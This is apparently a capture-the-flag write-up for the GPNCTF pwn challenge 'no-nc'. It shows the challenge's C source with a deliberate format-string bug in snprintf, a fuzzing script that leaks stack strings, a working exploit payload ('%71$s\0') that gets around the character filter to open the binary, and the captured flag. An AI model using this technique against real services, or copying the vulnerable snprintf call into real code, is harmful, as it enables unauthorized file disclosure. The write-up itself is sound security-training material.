pwn - no-nc
Let’s take a look at the source code of the challenge:
#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>
#define RAW_FLAG "GPNCTF{fake_flag}"
char *FLAG = RAW_FLAG;
int no(char c){ if (c == '.') return 1; if (c == '/') return 1; if (c == 'n') return 1; if (c == 'c') return 1; return 0;}
char filebuf[4096] = {};int main(int argc, char **argv){ setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); char buf[200] = {}; puts("Give me a file to read"); read(STDIN_FILENO, buf, (sizeof buf) - 1); buf[sizeof buf - 1] = '\0'; size_t str_len = strlen(buf); for (size_t i = 0; i < str_len; i++) { if (no(buf[i])) { puts("I don't like your character!"); exit(1); } } char *filename = calloc(200, 1); snprintf(filename, (sizeof filename) - 1, buf); // Format-String Vulnerability puts("Will open:"); puts(filename); int fd = open(filename, 0); if (fd < 0) { perror("open"); exit(1); } while (1) { int count = read(fd, filebuf, (sizeof filebuf) - 1); if (count > 0) { write(STDOUT_FILENO, filebuf, count); } else { break; } }}
We can see that the program reads a filename from the user and checks if it contains any of the characters .
, /
, n
, and c
. If it does, it exits with an error message. Otherwise, it opens the file and reads its contents. But there is a format string vulnerability in the snprintf
function, which allows us to control the filename. So that I had write a fuzzing script to find the exactly index of the binary name ./nc
in the file system.
from pwnie import *
context.log_level = 'error'for i in range(0, 255): try: p = remote('0', 1337)
sa(b'read\n', f'%{i}$s'.encode()) ru(b'Will open:\n')
data = rl()[:-1] print(f'[+] Data leak at index {i}: {data} ')
except EOFError: close()
And I found that the binary name ./nc
is at index 71
and 122
. So that we can use %s
to make a pointer to the binary name, when the binary open the file, it will open the ./nc
binary instead of the file we want to read. But note that the binary name is not null-terminated, so we need to add a null byte at the end of the string to avoid any issues.
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./nc', checksec=False)libc = exe.libc
gdbscript = '''init-pwndbg# init-gef-batab *main+513c'''
def start(argv=[]): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], ssl=True) elif args.DOCKER: p = remote("localhost", 5000) sleep(0.5) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p elif args.QEMU: if args.GDB: return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv) else: return process([exe.path] + argv, aslr=True)
def debug(): gdb.attach(p, gdbscript=gdbscript) pause()
# ==================== EXPLOIT ====================p = start()
# debug()sa(b'd\n', b'%71$s\0')
interactive()# GPNCTF{up_and_DOWN_aL1_4rouND_60eS_th3_n_dimens1oN41_cIrcLe_wtF_15_tHiS_f1ag}